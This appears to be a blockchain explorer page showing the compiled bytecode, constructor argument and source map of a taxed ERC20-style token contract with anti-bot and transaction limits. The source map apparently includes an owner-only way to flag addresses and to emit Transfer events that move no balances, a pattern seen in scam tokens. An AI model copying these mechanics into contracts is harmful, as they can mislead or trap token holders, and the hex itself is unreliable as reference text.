08c379a000000000000000000000000000000000000000000000000000000000815260040161175a906132ce565b60405180910390fd5b6009600a6117719190612c4a565b6301312d006117809190612c95565b8211156117c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b99061333a565b60405180910390fd5b61188f565b60115482111561180c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611803906133a6565b60405180910390fd5b6012548261181985610c5a565b61182391906133c6565b1115611864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185b90613468565b60405180910390fd5b43600160075461187491906133c6565b111561188e57611883836122ef565b1561188d57600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611996576012548261194a85610c5a565b61195491906133c6565b1115611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c90613468565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a1f57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6357611a606064611a52600d54600f5411611a3f57600954611a43565b600b545b8561222b90919063ffffffff16565b6122a590919063ffffffff16565b90505b6000611a6e30610c5a565b9050601760159054906101000a900460ff16158015611ada5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af25750601760169054906101000a900460ff165b8015611aff575060135481115b8015611b0e5750600e54600f54115b15611b4a57611b30611b2b84611b2684601454612302565b612302565b611e6d565b60004790506000811115611b4857611b474761231b565b5b505b505b6000811115611c5057611ba781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c4791906126a7565b60405180910390a35b611ca282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d49611cfb82846123e590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611dee84866123e590919063ffffffff16565b604051611dfb91906126a7565b60405180910390a350505050565b6000838311158290611e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e48919061252b565b60405180910390fd5b5060008385611e609190613488565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea557611ea46126f3565b5b604051908082528060200260200182016040528015611ed35781602001602082028036833780820191505090505b5090503081600081518110611eeb57611eea612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb691906134d1565b81600181518110611fca57611fc9612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611256565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120959594939291906135f7565b600060405180830381600087803b1580156120af57600080fd5b505af11580156120c3573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120f49190612c4a565b633b9aca006121039190612c95565b6011819055506009600a6121179190612c4a565b633b9aca006121269190612c95565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121d557600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121d457600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122049190612c4a565b633b9aca006122139190612c95565b60405161222091906126a7565b60405180910390a150565b600080830361223d576000905061229f565b6000828461224b9190612c95565b905082848261225a9190613680565b1461229a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229190613723565b60405180910390fd5b809150505b92915050565b60006122e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061242f565b905092915050565b600080823b905060008111915050919050565b60008183116123115782612313565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612383573d6000803e3d6000fd5b5050565b600080828461239691906133c6565b9050838110156123db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d29061378f565b60405180910390fd5b8091505092915050565b600061242783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e09565b905092915050565b60008083118290612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d919061252b565b60405180910390fd5b50600083856124859190613680565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124cc5780820151818401526020810190506124b1565b838111156124db576000848401525b50505050565b6000601f19601f8301169050919050565b60006124fd82612492565b612507818561249d565b93506125178185602086016124ae565b612520816124e1565b840191505092915050565b6000602082019050818103600083015261254581846124f2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061258c82612561565b9050919050565b61259c81612581565b81146125a757600080fd5b50565b6000813590506125b981612593565b92915050565b6000819050919050565b6125d2816125bf565b81146125dd57600080fd5b50565b6000813590506125ef816125c9565b92915050565b6000806040838503121561260c5761260b612557565b5b600061261a858286016125aa565b925050602061262b858286016125e0565b9150509250929050565b60008115159050919050565b61264a81612635565b82525050565b60006020820190506126656000830184612641565b92915050565b60006020828403121561268157612680612557565b5b600061268f848285016125aa565b91505092915050565b6126a1816125bf565b82525050565b60006020820190506126bc6000830184612698565b92915050565b6126cb81612635565b81146126d657600080fd5b50565b6000813590506126e8816126c2565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61272b826124e1565b810181811067ffffffffffffffff8211171561274a576127496126f3565b5b80604052505050565b600061275d61254d565b90506127698282612722565b919050565b600067ffffffffffffffff821115612789576127886126f3565b5b602082029050602081019050919050565b600080fd5b60006127b26127ad8461276e565b612753565b905080838252602082019050602084028301858111156127d5576127d461279a565b5b835b818110156127fe57806127ea88826125aa565b8452602084019350506020810190506127d7565b5050509392505050565b600082601f83011261281d5761281c6126ee565b5b813561282d84826020860161279f565b91505092915050565b6000806040838503121561284d5761284c612557565b5b600061285b858286016126d9565b925050602083013567ffffffffffffffff81111561287c5761287b61255c565b5b61288885828601612808565b9150509250929050565b6000806000606084860312156128ab576128aa612557565b5b60006128b9868287016125aa565b93505060206128ca868287016125aa565b92505060406128db868287016125e0565b9150509250925092565b600080fd5b60008083601f840112612900576128ff6126ee565b5b8235905067ffffffffffffffff81111561291d5761291c6128e5565b5b6020830191508360208202830111156129395761293861279a565b5b9250929050565b60008060006040848603121561295957612958612557565b5b600084013567ffffffffffffffff8111156129775761297661255c565b5b612983868287016128ea565b93509350506020612996868287016125e0565b9150509250925092565b600060ff82169050919050565b6129b6816129a0565b82525050565b60006020820190506129d160008301846129ad565b92915050565b6000819050919050565b60006129fc6129f76129f284612561565b6129d7565b612561565b9050919050565b6000612a0e826129e1565b9050919050565b6000612a2082612a03565b9050919050565b612a3081612a15565b82525050565b6000602082019050612a4b6000830184612a27565b92915050565b612a5a81612581565b82525050565b6000602082019050612a756000830184612a51565b92915050565b600060208284031215612a9157612a90612557565b5b6000612a9f848285016125e0565b91505092915050565b60008060408385031215612abf57612abe612557565b5b6000612acd858286016125aa565b9250506020612ade858286016125aa565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b6e57808604811115612b4a57612b49612ae8565b5b6001851615612b595780820291505b8081029050612b6785612b17565b9450612b2e565b94509492505050565b600082612b875760019050612c43565b81612b955760009050612c43565b8160018114612bab5760028114612bb557612be4565b6001915050612c43565b60ff841115612bc757612bc6612ae8565b5b8360020a915084821115612bde57612bdd612ae8565b5b50612c43565b5060208310610133831016604e8410600b8410161715612c195782820a905083811115612c1457612c13612ae8565b5b612c43565b612c268484846001612b24565b92509050818404811115612c3d57612c3c612ae8565b5b81810290505b9392505050565b6000612c55826125bf565b9150612c60836129a0565b9250612c8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b77565b905092915050565b6000612ca0826125bf565b9150612cab836125bf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ce457612ce3612ae8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d29826125bf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d5b57612d5a612ae8565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d9c60208361249d565b9150612da782612d66565b602082019050919050565b60006020820190508181036000830152612dcb81612d8f565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612e08601f8361249d565b9150612e1382612dd2565b602082019050919050565b60006020820190508181036000830152612e3781612dfb565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e74601b8361249d565b9150612e7f82612e3e565b602082019050919050565b60006020820190508181036000830152612ea381612e67565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ee0600c8361249d565b9150612eeb82612eaa565b602082019050919050565b60006020820190508181036000830152612f0f81612ed3565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f4c60178361249d565b9150612f5782612f16565b602082019050919050565b60006020820190508181036000830152612f7b81612f3f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fde60248361249d565b9150612fe982612f82565b604082019050919050565b6000602082019050818103600083015261300d81612fd1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061307060228361249d565b915061307b82613014565b604082019050919050565b6000602082019050818103600083015261309f81613063565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061310260258361249d565b915061310d826130a6565b604082019050919050565b60006020820190508181036000830152613131816130f5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061319460238361249d565b915061319f82613138565b604082019050919050565b600060208201905081810360008301526131c381613187565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061322660298361249d565b9150613231826131ca565b604082019050919050565b6000602082019050818103600083015261325581613219565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b60006132b8602b8361249d565b91506132c38261325c565b604082019050919050565b600060208201905081810360008301526132e7816132ab565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613324601a8361249d565b915061332f826132ee565b602082019050919050565b6000602082019050818103600083015261335381613317565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b600061339060188361249d565b915061339b8261335a565b602082019050919050565b600060208201905081810360008301526133bf81613383565b9050919050565b60006133d1826125bf565b91506133dc836125bf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561341157613410612ae8565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613452601a8361249d565b915061345d8261341c565b602082019050919050565b6000602082019050818103600083015261348181613445565b9050919050565b6000613493826125bf565b915061349e836125bf565b9250828210156134b1576134b0612ae8565b5b828203905092915050565b6000815190506134cb81612593565b92915050565b6000602082840312156134e7576134e6612557565b5b60006134f5848285016134bc565b91505092915050565b6000819050919050565b600061352361351e613519846134fe565b6129d7565b6125bf565b9050919050565b61353381613508565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356e81612581565b82525050565b60006135808383613565565b60208301905092915050565b6000602082019050919050565b60006135a482613539565b6135ae8185613544565b93506135b983613555565b8060005b838110156135ea5781516135d18882613574565b97506135dc8361358c565b9250506001810190506135bd565b5085935050505092915050565b600060a08201905061360c6000830188612698565b613619602083018761352a565b818103604083015261362b8186613599565b905061363a6060830185612a51565b6136476080830184612698565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061368b826125bf565b9150613696836125bf565b9250826136a6576136a5613651565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061370d60218361249d565b9150613718826136b1565b604082019050919050565b6000602082019050818103600083015261373c81613700565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613779601b8361249d565b915061378482613743565b602082019050919050565b600060208201905081810360008301526137a88161376c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a4640a9a7d96994126be659b4e94140e57fe1643b9dc298ec6b6f79f361f69264736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d56eb70d5aa5224657e13c4062abfd74cf88f738

-----Decoded View---------------
Arg [0] : _walletTax (address): 0xD56Eb70d5AA5224657e13C4062ABFD74cf88F738

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000d56eb70d5aa5224657e13c4062abfd74cf88f738


Deployed Bytecode Sourcemap

2136:9991:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4488:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5321:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9919:191;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3527:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4765:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9522:389;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5490:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11694:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4674:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2662:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10913:295;;;;;;;;;;;;;:::i;:::-;;2781:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10815:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4868:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;621:148:3;;;;;;;;;;;;;:::i;:::-;;3260:56:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3639:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;407:79:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3323:58:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4579:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4995:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11217:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2743:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3463:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11962:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11481:204;;;;;;;;;;;;;:::i;:::-;;5170:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2702:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3722:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4488:83;4525:13;4558:5;;;;;;;;;;;;;;;;;4551:12;;4488:83;:::o;5321:161::-;5396:4;5413:39;5422:12;:10;:12::i;:::-;5436:7;5445:6;5413:8;:39::i;:::-;5470:4;5463:11;;5321:161;;;;:::o;9919:191::-;9984:4;10007:88;:95;10096:5;10007:95;;;;;;;;;;;;;;;;;;;;;;;;;10000:102;;9919:191;;;:::o;3527:54::-;;;;:::o;4765:95::-;4818:7;3065:1;3240:2;:13;;;;:::i;:::-;3224;:29;;;;:::i;:::-;4838:14;;4765:95;:::o;9522:389::-;9621:10;;;;;;;;;;;9605:26;;:12;:10;:12::i;:::-;:26;;;9597:35;;;;;;9643:13;9671:233;9686:5;:12;9678:5;:20;9671:233;;;9715:14;9740:5;9746;9740:12;;;;;;;;:::i;:::-;;;;;;;;9715:38;;9867:3;9768:88;:96;9857:6;9768:96;;;;;;;;;;;;;;;;:102;;;;;;;;;;;;;;;;;;9885:7;;;;;:::i;:::-;;;;9700:204;9671:233;;;9586:325;9522:389;;:::o;5490:313::-;5588:4;5605:36;5615:6;5623:9;5634:6;5605:9;:36::i;:::-;5652:121;5661:6;5669:12;:10;:12::i;:::-;5683:89;5721:6;5683:89;;;;;;;;;;;;;;;;;:11;:19;5695:6;5683:19;;;;;;;;;;;;;;;:33;5703:12;:10;:12::i;:::-;5683:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5652:8;:121::i;:::-;5791:4;5784:11;;5490:313;;;;;:::o;11694:260::-;11801:10;;;;;;;;;;;11785:26;;:12;:10;:12::i;:::-;:26;;;11777:35;;;;;;11828:9;11823:124;11847:10;;:17;;11843:1;:21;11823:124;;;11915:10;;11926:1;11915:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11891:44;;11900:13;;;;;;;;;;;11891:44;;;11930:4;11891:44;;;;;;:::i;:::-;;;;;;;;11866:3;;;;;:::i;:::-;;;;11823:124;;;;11694:260;;;:::o;4674:83::-;4715:5;3065:1;4733:16;;4674:83;:::o;2662:33::-;;;;:::o;10913:295::-;544:12:3;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10972:11:2::1;;;;;;;;;;;10971:12;10963:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;11030:23;11056:21;11030:47;;11114:1;11096:15;:19;11088:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;11166:7;:5;:7::i;:::-;11158:25;;:42;11184:15;11158:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10952:256;10913:295::o:0;2781:32::-;;;;:::o;10815:90::-;10864:4;10888:9;10881:16;;10815:90;:::o;4868:119::-;4934:7;4961:9;:18;4971:7;4961:18;;;;;;;;;;;;;;;;4954:25;;4868:119;;;:::o;621:148:3:-;544:12;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;728:1:::1;691:40;;712:6;::::0;::::1;;;;;;;;691:40;;;;;;;;;;;;759:1;742:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;621:148::o:0;3260:56:2:-;;;;:::o;3639:39::-;;;;;;;;;;;;;:::o;407:79:3:-;445:7;472:6;;;;;;;;;;;465:13;;407:79;:::o;3323:58:2:-;;;;:::o;4579:87::-;4618:13;4651:7;;;;;;;;;;;;;;;;;4644:14;;4579:87;:::o;4995:167::-;5073:4;5090:42;5100:12;:10;:12::i;:::-;5114:9;5125:6;5090:9;:42::i;:::-;5150:4;5143:11;;4995:167;;;;:::o;11217:254::-;11295:10;;;;;;;;;;;11279:26;;:12;:10;:12::i;:::-;:26;;;11271:35;;;;;;11335:24;11353:4;11335:9;:24::i;:::-;11325:6;:34;;:48;;;;;11372:1;11363:6;:10;11325:48;11317:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;11401:24;11418:6;11401:16;:24::i;:::-;11436:10;;;;;;;;;;;:19;;:27;11456:6;11436:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11217:254;:::o;2743:31::-;;;;:::o;3463:57::-;;;;:::o;11962:125::-;12036:10;;;;;;;;;;;12020:26;;:12;:10;:12::i;:::-;:26;;;12012:35;;;;;;12074:5;12058:13;;:21;;;;;;;;;;;;;;;;;;11962:125;:::o;11481:204::-;544:12:3;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11545:11:2::1;;;;;;;;;;;11544:12;11536:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11608:4;11594:11;;:18;;;;;;;;;;;;;;;;;;11637:4;11623:11;;:18;;;;;;;;;;;;;;;;;;11665:12;11652:10;:25;;;;11481:204::o:0;5170:143::-;5251:7;5278:11;:18;5290:5;5278:18;;;;;;;;;;;;;;;:27;5297:7;5278:27;;;;;;;;;;;;;;;;5271:34;;5170:143;;;;:::o;2702:34::-;;;;:::o;3722:23::-;;;;;;;;;;;;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;5811:335:2:-;5921:1;5904:19;;:5;:19;;;5896:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6002:1;5983:21;;:7;:21;;;5975:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6084:6;6054:11;:18;6066:5;6054:18;;;;;;;;;;;;;;;:27;6073:7;6054:27;;;;;;;;;;;;;;;:36;;;;6122:7;6106:32;;6115:5;6106:32;;;6131:6;6106:32;;;;;;:::i;:::-;;;;;;;;5811:335;;;:::o;6154:2501::-;6258:1;6242:18;;:4;:18;;;6234:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6335:1;6321:16;;:2;:16;;;6313:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6405:1;6396:6;:10;6388:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6463:17;6505:7;:5;:7::i;:::-;6497:15;;:4;:15;;;;:32;;;;;6522:7;:5;:7::i;:::-;6516:13;;:2;:13;;;;6497:32;6493:1806;;;6559:1;6546:10;;:14;:43;;;;;6579:10;;6564:12;:25;6546:43;6542:70;;;6592:18;6605:4;6592:12;:18::i;:::-;6542:70;6638:77;6711:3;6638:68;6661:15;;6650:9;;:26;;6649:56;;6691:14;;6649:56;;;6678:12;;6649:56;6638:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;6626:89;;6744:13;;;;;;;;;;;6736:21;;:4;:21;;;:55;;;;;6775:15;;;;;;;;;;;6761:30;;:2;:30;;;;6736:55;6732:676;;;6830:12;6816:10;;:26;6812:581;;6875:18;:22;6894:2;6875:22;;;;;;;;;;;;;;;;;;;;;;;;;6867:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;3065:1;3443:2;:13;;;;:::i;:::-;3430:10;:26;;;;:::i;:::-;6976:6;:24;;6968:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6812:581;;;7098:12;;7088:6;:22;;7080:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7196:14;;7186:6;7170:13;7180:2;7170:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7162:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7285:12;7281:1;7268:10;;:14;;;;:::i;:::-;:29;7264:110;;;7335:14;7346:2;7335:10;:14::i;:::-;7334:15;7326:24;;;;;;7264:110;6812:581;6732:676;7434:13;;;;;;;;;;;7428:19;;:2;:19;;;;:46;;;;;7452:18;:22;7471:2;7452:22;;;;;;;;;;;;;;;;;;;;;;;;;7451:23;7428:46;7424:166;;;7529:14;;7519:6;7503:13;7513:2;7503:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7495:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7424:166;7615:13;;;;;;;;;;;7609:19;;:2;:19;;;:43;;;;;7647:4;7632:20;;:4;:20;;;;7609:43;7606:174;;;7685:79;7760:3;7685:70;7707:16;;7697:9;;:26;7696:58;;7739:15;;7696:58;;;7725:13;;7696:58;7685:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;7673:91;;7606:174;7796:28;7827:24;7845:4;7827:9;:24::i;:::-;7796:55;;7871:6;;;;;;;;;;;7870:7;:31;;;;;7888:13;;;;;;;;;;;7881:20;;:2;:20;;;7870:31;:46;;;;;7905:11;;;;;;;;;;;7870:46;:88;;;;;7941:17;;7920:20;:38;7870:88;:120;;;;;7972:18;;7962:9;;:28;7870:120;7866:420;;;8011:67;8028:49;8032:6;8039:37;8043:20;8064:11;;8039:3;:37::i;:::-;8028:3;:49::i;:::-;8011:16;:67::i;:::-;8097:26;8126:21;8097:50;;8190:1;8169:18;:22;8166:105;;;8216:35;8229:21;8216:12;:35::i;:::-;8166:105;7992:294;7866:420;6531:1768;6493:1806;8324:1;8314:9;:11;8311:161;;;8364:39;8393:9;8364;:24;8382:4;8364:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8339:9;:24;8357:4;8339:24;;;;;;;;;;;;;;;:64;;;;8444:4;8421:39;;8430:4;8421:39;;;8450:9;8421:39;;;;;;:::i;:::-;;;;;;;;8311:161;8498:27;8518:6;8498:9;:15;8508:4;8498:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8482:9;:15;8492:4;8482:15;;;;;;;;;;;;;;;:43;;;;8550:40;8568:21;8579:9;8568:6;:10;;:21;;;;:::i;:::-;8550:9;:13;8560:2;8550:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8536:9;:13;8546:2;8536:13;;;;;;;;;;;;;;;:54;;;;8621:2;8606:41;;8615:4;8606:41;;;8625:21;8636:9;8625:6;:10;;:21;;;;:::i;:::-;8606:41;;;;;;:::i;:::-;;;;;;;;6223:2432;6154:2501;;;:::o;495:190::-;581:7;614:1;609;:6;;617:12;601:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;641:9;657:1;653;:5;;;;:::i;:::-;641:17;;676:1;669:8;;;495:190;;;;;:::o;10118:483::-;3918:4;3909:6;;:13;;;;;;;;;;;;;;;;;;10196:21:::1;10234:1;10220:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10196:40;;10265:4;10247;10252:1;10247:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10291:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10281:4;10286:1;10281:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10324:62;10341:4;10356:15;;;;;;;;;;;10374:11;10324:8;:62::i;:::-;10397:15;;;;;;;;;;;:66;;;10478:11;10504:1;10520:4;10547;10567:15;10397:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10185:416;3954:5:::0;3945:6;;:14;;;;;;;;;;;;;;;;;;10118:483;:::o;8866:312::-;3065:1;3240:2;:13;;;;:::i;:::-;3224;:29;;;;:::i;:::-;8923:12;:22;;;;3065:1;3240:2;:13;;;;:::i;:::-;3224;:29;;;;:::i;:::-;8956:14;:24;;;;8994:88;:96;9083:6;8994:96;;;;;;;;;;;;;;;;;;;;